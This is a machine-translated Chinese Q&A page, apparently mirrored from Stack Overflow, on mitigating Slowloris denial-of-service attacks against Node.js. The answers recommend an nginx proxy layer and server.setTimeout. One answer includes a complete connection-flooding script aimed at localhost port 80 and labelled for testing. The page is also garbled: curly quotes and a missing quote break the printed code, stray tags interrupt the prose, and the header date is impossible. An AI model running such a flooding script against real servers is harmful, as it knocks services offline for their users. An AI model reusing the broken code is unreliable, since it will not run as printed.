如何缓解Node.js中的Slowloris?


拥有小太阳的向日葵
2025-03-16 12:18:30 (5天前)


更新2018年15日星期五:

我设法说服Node.js核心团队为此设置CVE。

修复 - 新的默认值和可能的新API - 将在1或2周内出现。
缓解意味着……

4 条回复
  1. 0# 烏鴉喝酒 | 2019-08-31 10-32



    我认为你对这个漏洞采取了错误的方法。



    这没有涉及

    DDOS attack

    (分布式拒绝服务),其中使用了许多IP,以及何时需要继续为与攻击中涉及的计算机位于同一防火墙内的某些计算机提供服务。



    DDOS中使用的机器通常不是已经被接管的真实机器(可能是虚拟化的或者使用软件来从不同的IP中进行)。



    当针对大型目标的DDOS启动时,每IP限制可能会禁止来自同一防火墙LAN的所有计算机。



    要继续在DDOS面前提供服务,您确实需要根据请求本身的公共元素来阻止请求,而不仅仅是IP。 security.se可能是有关如何做到这一点的具体建议的最佳论坛。



    不幸的是,与XSRF不同,DOS攻击不需要源自真实浏览器,因此任何不包含紧密包含和不可删除的nonce的头文件都可能被欺骗。




    建议:为防止出现此问题,您必须拥有针对DDos攻击和大规模拒绝服务的良好防火墙策略。
    </强>



    但!如果您想使用node.js测试拒绝服务,可以使用此代码(仅用于测试目的,不用于生产环境)




    1. var net = require(‘net’);

    2. var maxConnections = 30;
      var connections = [];

    3. var host = 127.0.0.1”;
      var port = 80;

    4. function Connection(h, p)
      {
      this.state = active’;
      this.t = Date.now();

    5. this.client = net.connect({port:p, host:h}, () => {
    6.     process.stdout.write("Connected, Sending... ");
    7.     this.client.write("POST / HTTP/1.1\r\nHost: "+host+"\r\n" +
    8.         "Content-Type: application/x-www-form-urlenconded\r\n" +
    9.         "Content-Length: 385\r\n\r\nvx=321&d1=fire&l");
    10.     process.stdout.write("Written.\n");
    11. });
    12. this.client.on('data', (data) => {
    13.     console.log("\t-Received "+data.length+" bytes...");
    14.     this.client.end();
    15. });
    16. this.client.on('end', () => {
    17.     var d = Date.now() - this.t;
    18.     this.state = 'ended';
    19.     console.log("\t-Disconnected (duration: " +
    20.         (d/1000).toFixed(3) +
    21.         " seconds, remaining open: " +
    22.         connections.length +
    23.         ").");
    24. });
    25. this.client.on('error', () => {
    26.     this.state = 'error';
    27. });
    28. connections.push(this);
    29. }

    30. setInterval(() => {
      var notify = false;

    31. // Add another connection if we haven't reached
    32. // our max:
    33. if(connections.length < maxConnections)
    34. {
    35.     new Connection(host, port);
    36.     notify = true;
    37. }
    38. // Remove dead connections
    39. connections = connections.filter(function(v) {
    40.     return v.state=='active';
    41. });
    42. if(notify)
    43. {
    44.     console.log("Active connections: " + connections.length +
    45.         " / " + maxConnections);
    46. }
    47. }, 500);

    48. </code>

  2. 1# Hey ou | 2019-08-31 10-32



    缓解此问题以及其他一些问题的最佳方法是

    在node.js应用程序和Internet之间放置代理层,如nginx或防火墙
    </强>



    如果您熟悉许多设计和编程背后的范例,例如OOP,您可能会认识到“背后的重要性”

    关注点分离
    </强>
    ”。



    在设计基础架构或客户端可以访问数据的方式时,同样的范例也适用。




    应用程序应该只有一个问题:处理数据操作(CRUD)
    </强>
    。这本质上包括与维护数据完整性(SQL注入威胁,脚本注入威胁等)相关的任何问题。




    其他问题应放在单独的层中
    </强>
    ,例如nginx代理层。



    例如,nginx通常会关注将流量路由到您的应用程序/负载平衡。这将包括与网络连接相关的安全问题,例如SSL / TLS协商,慢速客户端等。



    可以实现额外的防火墙(读取:应该)以处理其他安全问题。



    您的问题的解决方案很简单,

    不要将node.js应用程序直接暴露给互联网,使用代理层 - 它存在是有原因的
    </强>


  3. 2# 你咖喱人biss嗷 | 2019-08-31 10-32



    就这么容易。

    1. <BR/>
    2. <BR/>




    1. var http = require(‘http’);

    2. var server = http.createServer(function(req,res) {
      res.send(‘Now.’)
      })

    3. server.setTimeout(10);

    4. server.listen(80, 127.0.0.1’);

    5. </code>








    server.setTimeout([msecs][, callback])




    默认情况下,服务器的超时值为2分钟,插槽为
    如果超时则自动销毁。





    https://nodejs.org/api/http.html#http_server_settimeout_msecs_callback









    经过测试。

    1. <BR/>
    2. <BR/>




    1. var net = require(‘net’);

    2. var client = new net.Socket();
      client.connect(80, 127.0.0.1’, function() {
      setInterval(function() {
      client.write(‘Hello World.’);
      },10000)
      });

    3. </code>





    这只是第二个最佳解决方案。



    由于合法关系也被终止。






登录 后才能参与评论